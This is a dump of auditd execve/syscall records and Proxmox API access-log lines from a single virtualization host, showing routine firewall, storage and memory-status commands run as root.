type=EXECVE msg=audit(1781964105.171:59605): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965475380,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.380:65763): arch=c000003e syscall=59 success=yes exit=0 a0=5ce005b90ac8 a1=7ffea38eb3f0 a2=5ce030a4e680 a3=5ce005b7424e items=2 ppid=63160 pid=63162 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965724239,"@rawstring":"node=pve type=EXECVE msg=audit(1781965724.239:66824): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966309471,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:28 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965405271,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.271:65470): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc137c90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62889 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105170,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.170:59604): argc=1 a0=\"date\""} {"@timestamp":1781965475380,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.380:65762): arch=c000003e syscall=59 success=yes exit=0 a0=7ffea38eb3b0 a1=5ce030a70410 a2=5ce030a4e680 a3=5 items=2 ppid=63160 pid=63161 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965724081,"@rawstring":"node=pve type=EXECVE msg=audit(1781965724.081:66823): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966309471,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:28 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1143"} {"@timestamp":1781965405266,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.266:65469): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae0ef0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62888 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105166,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.166:59602): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965475375,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.375:65760): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63160 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965724075,"@rawstring":"node=pve type=EXECVE msg=audit(1781965724.075:66820): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966307808,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965405259,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.259:65468): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62887 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105160,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.160:59601): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965475367,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.367:65759): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63159 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965720769,"@rawstring":"node=pve type=EXECVE msg=audit(1781965720.769:66817): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966307808,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:26 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965405253,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.253:65467): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62886 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105153,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.153:59600): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965475361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.361:65758): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965720768,"@rawstring":"node=pve type=EXECVE msg=audit(1781965720.768:66816): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781966307808,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:26 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965405249,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.249:65466): arch=c000003e syscall=59 success=yes exit=0 a0=610b3d5cab60 a1=610b3d5d6a30 a2=610b3d5a4680 a3=5 items=2 ppid=62879 pid=62885 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105147,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.147:59599): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965475355,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.355:65757): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad94d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63157 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965720766,"@rawstring":"node=pve type=EXECVE msg=audit(1781965720.766:66815): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781966306767,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781965405245,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.245:65465): arch=c000003e syscall=59 success=yes exit=0 a0=610b2223fac8 a1=7ffc13d148c0 a2=610b3d5a4680 a3=610b2222324e items=2 ppid=62879 pid=62881 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105141,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.141:59598): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965475349,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.349:65756): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1477a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63156 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965719065,"@rawstring":"node=pve type=EXECVE msg=audit(1781965719.065:66814): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966306767,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965405245,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.245:65464): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc13d14880 a1=610b3d5c6200 a2=610b3d5a4680 a3=5 items=2 ppid=62879 pid=62880 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105133,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.133:59597): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965475341,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.341:65755): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13bd00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63155 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965719058,"@rawstring":"node=pve type=EXECVE msg=audit(1781965719.058:66811): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966305777,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1143"} {"@timestamp":1781965405241,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.241:65462): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62879 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964104998,"@rawstring":"node=pve type=EXECVE msg=audit(1781964104.998:59596): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965474804,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965474.804:65754): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740c6a0 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63152 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715549,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.549:66808): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966305777,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:24 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965405233,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.233:65461): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62878 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964104967,"@rawstring":"node=pve type=EXECVE msg=audit(1781964104.967:59595): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965474778,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965474.778:65753): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dc030 a1=64f8d15510c0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63151 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715545,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.545:66807): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966303750,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965405225,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.225:65460): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62877 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964102931,"@rawstring":"node=pve type=EXECVE msg=audit(1781964102.931:59594): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965473129,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965473.129:65752): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899557b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63150 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715543,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.543:66806): argc=1 a0=\"date\""} {"@timestamp":1781966303750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965405221,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.221:65459): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c7460 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62876 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964102921,"@rawstring":"node=pve type=EXECVE msg=audit(1781964102.921:59591): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965473121,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965473.121:65749): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899556f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63149 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715537,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.537:66804): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966303750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:22 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965405213,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.213:65458): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e41d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62875 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964099486,"@rawstring":"node=pve type=EXECVE msg=audit(1781964099.486:59588): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964620057,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964620.057:61826): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59328 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715531,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.531:66803): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966303750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:22 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965405205,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.205:65457): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1397d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62874 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964099486,"@rawstring":"node=pve type=EXECVE msg=audit(1781964099.486:59587): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964620045,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964620.045:61823): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59327 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715522,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.522:66802): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966302744,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1129"} {"@timestamp":1781965404985,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965404.985:65456): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e1ee0 a1=64f8d73b4910 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62871 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964099484,"@rawstring":"node=pve type=EXECVE msg=audit(1781964099.484:59586): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964619811,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964619.811:61819): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=79359d8b6da6 a2=80000 a3=0 items=1 ppid=1216 pid=59326 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781965715514,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.514:66801): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966302744,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781965404959,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965404.959:65455): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d4afb000 a1=64f8d7409810 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62870 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964097915,"@rawstring":"node=pve type=EXECVE msg=audit(1781964097.915:59585): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964619809,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964619.809:61818): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59326 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781965715505,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.505:66800): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966301135,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:20 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965402884,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965402.884:65454): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62869 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964097906,"@rawstring":"node=pve type=EXECVE msg=audit(1781964097.906:59582): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964619773,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964619.773:61817): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=717aaa8afda6 a2=80000 a3=0 items=1 ppid=1216 pid=59325 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781965715497,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.497:66798): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966301135,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965402875,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965402.875:65451): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62868 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096123,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.123:59579): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964619769,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964619.769:61816): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59325 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781965715486,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.486:66797): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966299715,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1129"} {"@timestamp":1781965397864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965397.864:65448): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62867 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096119,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.119:59578): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964616076,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964616.076:61814): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=718c3ff72da6 a2=80000 a3=0 items=1 ppid=1214 pid=59324 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781965715479,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.479:66796): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966299715,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781965397858,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965397.858:65445): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62866 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} 